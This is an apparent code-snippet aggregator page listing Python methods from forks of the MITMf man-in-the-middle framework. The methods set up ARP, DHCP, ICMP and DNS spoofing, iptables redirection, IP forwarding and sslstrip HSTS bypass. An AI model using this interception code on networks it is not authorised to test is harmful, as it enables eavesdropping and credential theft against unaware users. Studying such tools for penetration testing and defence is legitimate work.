當前位置: 首頁>>代碼示例>>Python>>正文


Python utils.iptables方法代碼示例

本文整理匯總了Python中core.utils.iptables方法的典型用法代碼示例。如果您正苦於以下問題:Python utils.iptables方法的具體用法?Python utils.iptables怎麽用?Python utils.iptables使用的例子?那麽, 這裏精選的方法代碼示例或許可以為您提供幫助。您也可以進一步了解該方法所在core.utils的用法示例。


在下文中一共展示了utils.iptables方法的11個代碼示例,這些例子默認根據受歡迎程度排序。您可以為喜歡或者感覺有用的代碼點讚,您的評價將有助於係統推薦出更棒的Python代碼示例。

示例1: captive_dns

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def captive_dns(self, iface):
        #TODO: utilize nfqueue with reactor
        #  see https://github.com/DanMcInerney/dnsspoof/blob/master/dnsspoof.py
        #  see http://danmcinerney.org/reliable-dns-spoofing-with-python-scapy-nfqueue/
        #  see http://danmcinerney.org/reliable-dns-spoofing-with-python-twisting-in-arp-poisoning-pt-2/
        """
        os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')

        nfqueue = NetfilterQueue()
        nfqueue.bind(1, self.modify)
        nfqueue.run()
        """

        #TODO: restrict filter
        sniff(filter="udp and port 53", prn=self.dns_callback, iface=iface) 
開發者ID:camelinc,項目名稱:MITMf-captive-portal,代碼行數:17,代碼來源:Portal.py

示例2: on_shutdown

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def on_shutdown(self):
        '''This will be called when shutting down'''
        from core.utils import iptables
        iptables().flush()
        #FIXME: add forwarding rules if we are an access point

        pass 
開發者ID:camelinc,項目名稱:MITMf-captive-portal,代碼行數:9,代碼來源:Portal.py

示例3: _block_traffic

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def _block_traffic(self):
        self.log.debug("Setting up iptables")
        #TODO: limit to target IPs
        os.system('iptables -t filter -I FORWARD -p tcp --destination-port 443 -j REJECT') 
開發者ID:camelinc,項目名稱:MITMf-captive-portal,代碼行數:6,代碼來源:Portal.py

示例4: on_shutdown

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def on_shutdown(self):
        from core.utils import iptables, set_ip_forwarding

        for protocol in self.protocol_instances:
            if hasattr(protocol, 'stop'):
                protocol.stop()

        if self.sniffer:
            self.sniffer.kill()

        iptables().flush()

        set_ip_forwarding(0) 
開發者ID:dropnz,項目名稱:mitmfnz,代碼行數:15,代碼來源:spoof.py

示例5: initialize

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def initialize(self, options):
        self.options = options

        from core.sslstrip.URLMonitor import URLMonitor
        from core.servers.DNS import DNSChef
        from core.utils import iptables

        if iptables().dns is False and options.filter is False:
            iptables().DNS(self.config['MITMf']['DNS']['port'])

        URLMonitor.getInstance().setHstsBypass()
        DNSChef().setHstsBypass() 
開發者ID:dropnz,項目名稱:mitmfnz,代碼行數:14,代碼來源:sslstrip+.py

示例6: on_shutdown

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def on_shutdown(self):
        from core.utils import iptables
        if iptables().dns is True:
            iptables().flush() 
開發者ID:dropnz,項目名稱:mitmfnz,代碼行數:6,代碼來源:sslstrip+.py

示例7: on_shutdown

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def on_shutdown(self):
        from core.utils import iptables, set_ip_forwarding

        for protocol in self.protocol_instances:
            if hasattr(protocol, 'stop'):
                protocol.stop()

        iptables().flush()

        set_ip_forwarding(0) 
開發者ID:paranoidninja,項目名稱:piSociEty,代碼行數:12,代碼來源:spoof.py

示例8: initialize

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def initialize(self, options):
        self.options = options

        from core.sslstrip.URLMonitor import URLMonitor
        from core.servers.DNS import DNSChef
        from core.utils import iptables

        if iptables().dns is False:
            iptables().DNS(self.config['MITMf']['DNS']['port'])

        URLMonitor.getInstance().setHstsBypass()
        DNSChef().setHstsBypass() 
開發者ID:ParrotSec,項目名稱:mitmf,代碼行數:14,代碼來源:sslstrip+.py

示例9: initialize

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def initialize(self, options):
        self.options       = options
        self.ip            = options.ip
        self.mon_interface = options.interface

        #Table for clients not beeing captured
        self.dtable        = {}
        self.portal_ip     = '127.0.0.1'
        self.portal_url    = False
        self.portal_dns    = False
        self.portal_html   = ''

        #TODO: IETF Captive-Portal Identification in DHCP: https://tools.ietf.org/html/draft-wkumari-dhc-capport-16

        if options.portaltemplate:
            self.portal_html = self.parse_template(options.portaltemplate)

        elif options.portalurl:
            #parse url 
            try:
                self.portal_url = urlparse(options.portalurl)
                self.log.debug("Captival portal at {}".format(self.portal_url))
            except Exception, e:
                sys.exit("[-] Error parsing portal url: %s" % e)

            # get portal url ip address
            self.log.debug("Captival portal at {}".format(self.portal_url.hostname))
            try:
                self.portal_ip = socket.gethostbyname(self.portal_url.hostname) #TODO: better method, scapy?
            except socket.gaierror, e:
                sys.exit("[-] Portal cannot resolve hostname: {}".format(e))

            if options.portaldns:
                #TODO: if options.portaldns
                t2 = threading.Thread(name='captive_dns_thread', target=self.captive_dns, args=(self.mon_interface,))
                t2.setDaemon(True)
                t2.start()
        else:
            sys.exit("[-] Portal requires portal url or portal template")

        #running on an access point
        from core.utils import iptables
        if iptables().http is False and options.filter is None:
            iptables().HTTP(options.listen_port)

            #Setup iptables to block all not allowed traffic
            self._block_traffic() 
開發者ID:camelinc,項目名稱:MITMf-captive-portal,代碼行數:49,代碼來源:Portal.py

示例10: initialize

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options            = options
        self.protocol_instances = []

        from core.utils import iptables, shutdown, set_ip_forwarding
        #Makes scapy more verbose
        debug = False

        if options.arp:
            if not options.gateway:
                shutdown("[Spoof] --arp argument requires --gateway")

            from core.poisoners.ARP import ARPpoisoner
            arp = ARPpoisoner(options)
            arp.debug = debug
            self.tree_info.append('ARP spoofing enabled')
            self.protocol_instances.append(arp)

        elif options.dhcp:
            from core.poisoners.DHCP import DHCPpoisoner

            if options.targets:
                shutdown("[Spoof] --targets argument invalid when DCHP spoofing")

            dhcp = DHCPpoisoner(options)
            dhcp.debug = debug
            self.tree_info.append('DHCP spoofing enabled')
            self.protocol_instances.append(dhcp)

        elif options.icmp:
            from core.poisoners.ICMP import ICMPpoisoner

            if not options.gateway:
                shutdown("[Spoof] --icmp argument requires --gateway")

            if not options.targets:
                shutdown("[Spoof] --icmp argument requires --targets")

            icmp = ICMPpoisoner(options)
            icmp.debug = debug
            self.tree_info.append('ICMP spoofing enabled')
            self.protocol_instances.append(icmp)

        if options.dns:
            self.tree_info.append('DNS spoofing enabled')
            if iptables().dns is False and options.filter is None:
                iptables().DNS(self.config['MITMf']['DNS']['port'])

        if not options.arp and not options.icmp and not options.dhcp and not options.dns:
            shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")

        set_ip_forwarding(1)

        if iptables().http is False and options.filter is None:
            iptables().HTTP(options.listen_port)

        for protocol in self.protocol_instances:
            protocol.start() 
開發者ID:paranoidninja,項目名稱:piSociEty,代碼行數:61,代碼來源:spoof.py

示例11: initialize

# 需要導入模塊: from core import utils [as 別名]
# 或者: from core.utils import iptables [as 別名]
def initialize(self, options):
        '''Called if plugin is enabled, passed the options namespace'''
        self.options            = options
        self.protocol_instances = []

        from core.utils import iptables, shutdown, set_ip_forwarding
        #Makes scapy more verbose
        debug = False

        if options.arp:
            if not options.gateway:
                shutdown("[Spoof] --arp argument requires --gateway")

            from core.poisoners.ARP import ARPpoisoner
            arp = ARPpoisoner(options)
            arp.debug = debug
            self.tree_info.append('ARP spoofing enabled')
            self.protocol_instances.append(arp)

        elif options.dhcp:
            from core.poisoners.DHCP import DHCPpoisoner

            if options.targets:
                shutdown("[Spoof] --targets argument invalid when DCHP spoofing")

            dhcp = DHCPpoisoner(options)
            dhcp.debug = debug
            self.tree_info.append('DHCP spoofing enabled')
            self.protocol_instances.append(dhcp)

        elif options.icmp:
            from core.poisoners.ICMP import ICMPpoisoner

            if not options.gateway:
                shutdown("[Spoof] --icmp argument requires --gateway")

            if not options.targets:
                shutdown("[Spoof] --icmp argument requires --targets")

            icmp = ICMPpoisoner(options)
            icmp.debug = debug
            self.tree_info.append('ICMP spoofing enabled')
            self.protocol_instances.append(icmp)

        if options.dns:
            self.tree_info.append('DNS spoofing enabled')
            if iptables().dns is False:
                iptables().DNS(self.config['MITMf']['DNS']['port'])

        if not options.arp and not options.icmp and not options.dhcp and not options.dns:
            shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")

        set_ip_forwarding(1)

        if iptables().http is False:
            iptables().HTTP(options.listen_port)

        for protocol in self.protocol_instances:
            protocol.start() 
開發者ID:ParrotSec,項目名稱:mitmf,代碼行數:61,代碼來源:spoof.py


注:本文中的core.utils.iptables方法示例由純淨天空整理自Github/MSDocs等開源代碼及文檔管理平台,相關代碼片段篩選自各路編程大神貢獻的開源項目,源碼版權歸原作者所有,傳播和使用請參考對應項目的License;未經允許,請勿轉載。